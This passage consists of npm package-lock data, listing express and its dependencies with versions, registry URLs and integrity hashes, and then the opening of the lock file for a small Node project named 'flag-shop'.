661 | "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ=="
662 | },
663 | "debug": {
664 | "version": "2.6.9",
665 | "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
666 | "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
667 | "requires": {
668 | "ms": "2.0.0"
669 | }
670 | },
671 | "depd": {
672 | "version": "2.0.0",
673 | "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
674 | "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw=="
675 | },
676 | "destroy": {
677 | "version": "1.2.0",
678 | "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz",
679 | "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg=="
680 | },
681 | "ee-first": {
682 | "version": "1.1.1",
683 | "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
684 | "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow=="
685 | },
686 | "encodeurl": {
687 | "version": "1.0.2",
688 | "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz",
689 | "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w=="
690 | },
691 | "escape-html": {
692 | "version": "1.0.3",
693 | "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
694 | "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow=="
695 | },
696 | "etag": {
697 | "version": "1.8.1",
698 | "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",
699 | "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg=="
700 | },
701 | "express": {
702 | "version": "4.18.2",
703 | "resolved": "https://registry.npmjs.org/express/-/express-4.18.2.tgz",
704 | "integrity": "sha512-5/PsL6iGPdfQ/lKM1UuielYgv3BUoJfz1aUwU9vHZ+J7gyvwdQXFEBIEIaxeGf0GIcreATNyBExtalisDbuMqQ==",
705 | "requires": {
706 | "accepts": "~1.3.8",
707 | "array-flatten": "1.1.1",
708 | "body-parser": "1.20.1",
709 | "content-disposition": "0.5.4",
710 | "content-type": "~1.0.4",
711 | "cookie": "0.5.0",
712 | "cookie-signature": "1.0.6",
713 | "debug": "2.6.9",
714 | "depd": "2.0.0",
715 | "encodeurl": "~1.0.2",
716 | "escape-html": "~1.0.3",
717 | "etag": "~1.8.1",
718 | "finalhandler": "1.2.0",
719 | "fresh": "0.5.2",
720 | "http-errors": "2.0.0",
721 | "merge-descriptors": "1.0.1",
722 | "methods": "~1.1.2",
723 | "on-finished": "2.4.1",
724 | "parseurl": "~1.3.3",
725 | "path-to-regexp": "0.1.7",
726 | "proxy-addr": "~2.0.7",
727 | "qs": "6.11.0",
728 | "range-parser": "~1.2.1",
729 | "safe-buffer": "5.2.1",
730 | "send": "0.18.0",
731 | "serve-static": "1.15.0",
732 | "setprototypeof": "1.2.0",
733 | "statuses": "2.0.1",
734 | "type-is": "~1.6.18",
735 | "utils-merge": "1.0.1",
736 | "vary": "~1.1.2"
737 | }
738 | },
739 | "finalhandler": {
740 | "version": "1.2.0",
741 | "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz",
742 | "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==",
743 | "requires": {
744 | "debug": "2.6.9",
745 | "encodeurl": "~1.0.2",
746 | "escape-html": "~1.0.3",
747 | "on-finished": "2.4.1",
748 | "parseurl": "~1.3.3",
749 | "statuses": "2.0.1",
750 | "unpipe": "~1.0.0"
751 | }
752 | },
753 | "forwarded": {
754 | "version": "0.2.0",
755 | "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
756 | "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow=="
757 | },
758 | "fresh": {
759 | "version": "0.5.2",
760 | "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
761 | "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q=="
762 | },
763 | "function-bind": {
764 | "version": "1.1.1",
765 | "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz",
766 | "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A=="
767 | },
768 | "get-intrinsic": {
769 | "version": "1.1.3",
770 | "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.3.tgz",
771 | "integrity": "sha512-QJVz1Tj7MS099PevUG5jvnt9tSkXN8K14dxQlikJuPt4uD9hHAHjLyLBiLR5zELelBdD9QNRAXZzsJx0WaDL9A==",
772 | "requires": {
773 | "function-bind": "^1.1.1",
774 | "has": "^1.0.3",
775 | "has-symbols": "^1.0.3"
776 | }
777 | },
778 | "has": {
779 | "version": "1.0.3",
780 | "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz",
781 | "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==",
782 | "requires": {
783 | "function-bind": "^1.1.1"
784 | }
785 | },
786 | "has-symbols": {
787 | "version": "1.0.3",
788 | "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz",
789 | "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A=="
790 | },
791 | "http-errors": {
792 | "version": "2.0.0",
793 | "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz",
794 | "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==",
795 | "requires": {
796 | "depd": "2.0.0",
797 | "inherits": "2.0.4",
798 | "setprototypeof": "1.2.0",
799 | "statuses": "2.0.1",
800 | "toidentifier": "1.0.1"
801 | }
802 | },
803 | "iconv-lite": {
804 | "version": "0.4.24",
805 | "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
806 | "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
807 | "requires": {
808 | "safer-buffer": ">= 2.1.2 < 3"
809 | }
810 | },
811 | "inherits": {
812 | "version": "2.0.4",
813 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
814 | "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
815 | },
816 | "ipaddr.js": {
817 | "version": "1.9.1",
818 | "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
819 | "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g=="
820 | },
821 | "media-typer": {
822 | "version": "0.3.0",
823 | "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
824 | "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ=="
825 | },
826 | "merge-descriptors": {
827 | "version": "1.0.1",
828 | "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz",
829 | "integrity": "sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w=="
830 | },
831 | "methods": {
832 | "version": "1.1.2",
833 | "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
834 | "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w=="
835 | },
836 | "mime": {
837 | "version": "1.6.0",
838 | "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
839 | "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg=="
840 | },
841 | "mime-db": {
842 | "version": "1.52.0",
843 | "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
844 | "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="
845 | },
846 | "mime-types": {
847 | "version": "2.1.35",
848 | "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
849 | "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
850 | "requires": {
851 | "mime-db": "1.52.0"
852 | }
853 | },
854 | "ms": {
855 | "version": "2.0.0",
856 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
857 | "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
858 | },
859 | "negotiator": {
860 | "version": "0.6.3",
861 | "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",
862 | "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg=="
863 | },
864 | "object-inspect": {
865 | "version": "1.12.2",
866 | "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.2.tgz",
867 | "integrity": "sha512-z+cPxW0QGUp0mcqcsgQyLVRDoXFQbXOwBaqyF7VIgI4TWNQsDHrBpUQslRmIfAoYWdYzs6UlKJtB2XJpTaNSpQ=="
868 | },
869 | "on-finished": {
870 | "version": "2.4.1",
871 | "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",
872 | "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==",
873 | "requires": {
874 | "ee-first": "1.1.1"
875 | }
876 | },
877 | "parseurl": {
878 | "version": "1.3.3",
879 | "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
880 | "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ=="
881 | },
882 | "path-to-regexp": {
883 | "version": "0.1.7",
884 | "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz",
885 | "integrity": "sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ=="
886 | },
887 | "proxy-addr": {
888 | "version": "2.0.7",
889 | "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz",
890 | "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==",
891 | "requires": {
892 | "forwarded": "0.2.0",
893 | "ipaddr.js": "1.9.1"
894 | }
895 | },
896 | "qs": {
897 | "version": "6.11.0",
898 | "resolved": "https://registry.npmjs.org/qs/-/qs-6.11.0.tgz",
899 | "integrity": "sha512-MvjoMCJwEarSbUYk5O+nmoSzSutSsTwF85zcHPQ9OrlFoZOYIjaqBAJIqIXjptyD5vThxGq52Xu/MaJzRkIk4Q==",
900 | "requires": {
901 | "side-channel": "^1.0.4"
902 | }
903 | },
904 | "range-parser": {
905 | "version": "1.2.1",
906 | "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
907 | "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg=="
908 | },
909 | "raw-body": {
910 | "version": "2.5.1",
911 | "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.1.tgz",
912 | "integrity": "sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==",
913 | "requires": {
914 | "bytes": "3.1.2",
915 | "http-errors": "2.0.0",
916 | "iconv-lite": "0.4.24",
917 | "unpipe": "1.0.0"
918 | }
919 | },
920 | "safe-buffer": {
921 | "version": "5.2.1",
922 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
923 | "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="
924 | },
925 | "safer-buffer": {
926 | "version": "2.1.2",
927 | "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
928 | "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
929 | },
930 | "send": {
931 | "version": "0.18.0",
932 | "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz",
933 | "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==",
934 | "requires": {
935 | "debug": "2.6.9",
936 | "depd": "2.0.0",
937 | "destroy": "1.2.0",
938 | "encodeurl": "~1.0.2",
939 | "escape-html": "~1.0.3",
940 | "etag": "~1.8.1",
941 | "fresh": "0.5.2",
942 | "http-errors": "2.0.0",
943 | "mime": "1.6.0",
944 | "ms": "2.1.3",
945 | "on-finished": "2.4.1",
946 | "range-parser": "~1.2.1",
947 | "statuses": "2.0.1"
948 | },
949 | "dependencies": {
950 | "ms": {
951 | "version": "2.1.3",
952 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
953 | "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
954 | }
955 | }
956 | },
957 | "serve-static": {
958 | "version": "1.15.0",
959 | "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz",
960 | "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==",
961 | "requires": {
962 | "encodeurl": "~1.0.2",
963 | "escape-html": "~1.0.3",
964 | "parseurl": "~1.3.3",
965 | "send": "0.18.0"
966 | }
967 | },
968 | "setprototypeof": {
969 | "version": "1.2.0",
970 | "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
971 | "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw=="
972 | },
973 | "side-channel": {
974 | "version": "1.0.4",
975 | "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz",
976 | "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==",
977 | "requires": {
978 | "call-bind": "^1.0.0",
979 | "get-intrinsic": "^1.0.2",
980 | "object-inspect": "^1.9.0"
981 | }
982 | },
983 | "statuses": {
984 | "version": "2.0.1",
985 | "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz",
986 | "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ=="
987 | },
988 | "toidentifier": {
989 | "version": "1.0.1",
990 | "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
991 | "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA=="
992 | },
993 | "type-is": {
994 | "version": "1.6.18",
995 | "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
996 | "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==",
997 | "requires": {
998 | "media-typer": "0.3.0",
999 | "mime-types": "~2.1.24"
1000 | }
1001 | },
1002 | "unpipe": {
1003 | "version": "1.0.0",
1004 | "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
1005 | "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ=="
1006 | },
1007 | "utils-merge": {
1008 | "version": "1.0.1",
1009 | "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",
1010 | "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA=="
1011 | },
1012 | "vary": {
1013 | "version": "1.1.2",
1014 | "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
1015 | "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg=="
1016 | }
1017 | }
1018 | }
1019 |
--------------------------------------------------------------------------------
/flag-shop/package-lock.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "flag-shop",
3 | "version": "1.0.0",
4 | "lockfileVersion": 2,
5 | "requires": true,
6 | "packages": {
7 | "": {
8 | "name": "flag-shop",
9 | "version": "1.0.0",
10 | "license": "WTFPL",
11 | "dependencies": {
12 | "ejs": "^3.1.8",
13 | "express": "^4.18.2",
14 | "express-session": "^1.17.3"
15 | }
16 | },
17 | "node_modules/accepts": {
18 | "version": "1.3.8",
19 | "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",
20 | "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==",
21 | "dependencies": {
22 | "mime-types": "~2.1.34",
23 | "negotiator": "0.6.3"
24 | },
25 | "engines": {
26 | "node": ">= 0.6"
27 | }
28 | },
29 | "node_modules/ansi-styles": {
30 | "version": "4.3.0",
31 | "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
32 | "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
33 | "dependencies": {
34 | "color-convert": "^2.0.1"
35 | },
36 | "engines": {
37 | "node": ">=8"
38 | },
39 | "funding": {
40 | "url": "https://github.com/chalk/ansi-styles?sponsor=1"
41 | }
42 | },
43 | "node_modules/array-flatten": {
44 | "version": "1.1.1",
45 | "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",
46 | "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg=="
47 | },
48 | "node_modules/async": {
49 | "version": "3.2.4",
50 | "resolved": "https://registry.npmjs.org/async/-/async-3.2.4.tgz",
51 | "integrity": "sha512-iAB+JbDEGXhyIUavoDl9WP/Jj106Kz9DEn1DPgYw5ruDn0e3Wgi3sKFm55sASdGBNOQB8F59d9qQ7deqrHA8wQ=="
52 | },
53 | "node_modules/balanced-match": {
54 | "version": "1.0.2",
55 | "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
56 | "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="
57 | },
58 | "node_modules/body-parser": {
59 | "version": "1.20.1",
60 | "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.1.tgz",
61 | "integrity": "sha512-jWi7abTbYwajOytWCQc37VulmWiRae5RyTpaCyDcS5/lMdtwSz5lOpDE67srw/HYe35f1z3fDQw+3txg7gNtWw==",
62 | "dependencies": {
63 | "bytes": "3.1.2",
64 | "content-type": "~1.0.4",
65 | "debug": "2.6.9",
66 | "depd": "2.0.0",
67 | "destroy": "1.2.0",
68 | "http-errors": "2.0.0",
69 | "iconv-lite": "0.4.24",
70 | "on-finished": "2.4.1",
71 | "qs": "6.11.0",
72 | "raw-body": "2.5.1",
73 | "type-is": "~1.6.18",
74 | "unpipe": "1.0.0"
75 | },
76 | "engines": {
77 | "node": ">= 0.8",
78 | "npm": "1.2.8000 || >= 1.4.16"
79 | }
80 | },
81 | "node_modules/brace-expansion": {
82 | "version": "1.1.11",
83 | "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
84 | "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
85 | "dependencies": {
86 | "balanced-match": "^1.0.0",
87 | "concat-map": "0.0.1"
88 | }
89 | },
90 | "node_modules/bytes": {
91 | "version": "3.1.2",
92 | "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
93 | "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==",
94 | "engines": {
95 | "node": ">= 0.8"
96 | }
97 | },
98 | "node_modules/call-bind": {
99 | "version": "1.0.2",
100 | "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz",
101 | "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==",
102 | "dependencies": {
103 | "function-bind": "^1.1.1",
104 | "get-intrinsic": "^1.0.2"
105 | },
106 | "funding": {
107 | "url": "https://github.com/sponsors/ljharb"
108 | }
109 | },
110 | "node_modules/chalk": {
111 | "version": "4.1.2",
112 | "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
113 | "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
114 | "dependencies": {
115 | "ansi-styles": "^4.1.0",
116 | "supports-color": "^7.1.0"
117 | },
118 | "engines": {
119 | "node": ">=10"
120 | },
121 | "funding": {
122 | "url": "https://github.com/chalk/chalk?sponsor=1"
123 | }
124 | },
125 | "node_modules/color-convert": {
126 | "version": "2.0.1",
127 | "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
128 | "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
129 | "dependencies": {
130 | "color-name": "~1.1.4"
131 | },
132 | "engines": {
133 | "node": ">=7.0.0"
134 | }
135 | },
136 | "node_modules/color-name": {
137 | "version": "1.1.4",
138 | "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
139 | "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
140 | },
141 | "node_modules/concat-map": {
142 | "version": "0.0.1",
143 | "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
144 | "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg=="
145 | },
146 | "node_modules/content-disposition": {
147 | "version": "0.5.4",
148 | "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz",
149 | "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==",
150 | "dependencies": {
151 | "safe-buffer": "5.2.1"
152 | },
153 | "engines": {
154 | "node": ">= 0.6"
155 | }
156 | },
157 | "node_modules/content-type": {
158 | "version": "1.0.4",
159 | "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz",
160 | "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==",
161 | "engines": {
162 | "node": ">= 0.6"
163 | }
164 | },
165 | "node_modules/cookie": {
166 | "version": "0.5.0",
167 | "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz",
168 | "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==",
169 | "engines": {
170 | "node": ">= 0.6"
171 | }
172 | },
173 | "node_modules/cookie-signature": {
174 | "version": "1.0.6",
175 | "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
176 | "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ=="
177 | },
178 | "node_modules/debug": {
179 | "version": "2.6.9",
180 | "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
181 | "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
182 | "dependencies": {
183 | "ms": "2.0.0"
184 | }
185 | },
186 | "node_modules/depd": {
187 | "version": "2.0.0",
188 | "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
189 | "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==",
190 | "engines": {
191 | "node": ">= 0.8"
192 | }
193 | },
194 | "node_modules/destroy": {
195 | "version": "1.2.0",
196 | "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz",
197 | "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==",
198 | "engines": {
199 | "node": ">= 0.8",
200 | "npm": "1.2.8000 || >= 1.4.16"
201 | }
202 | },
203 | "node_modules/ee-first": {
204 | "version": "1.1.1",
205 | "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
206 | "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow=="
207 | },
208 | "node_modules/ejs": {
209 | "version": "3.1.8",
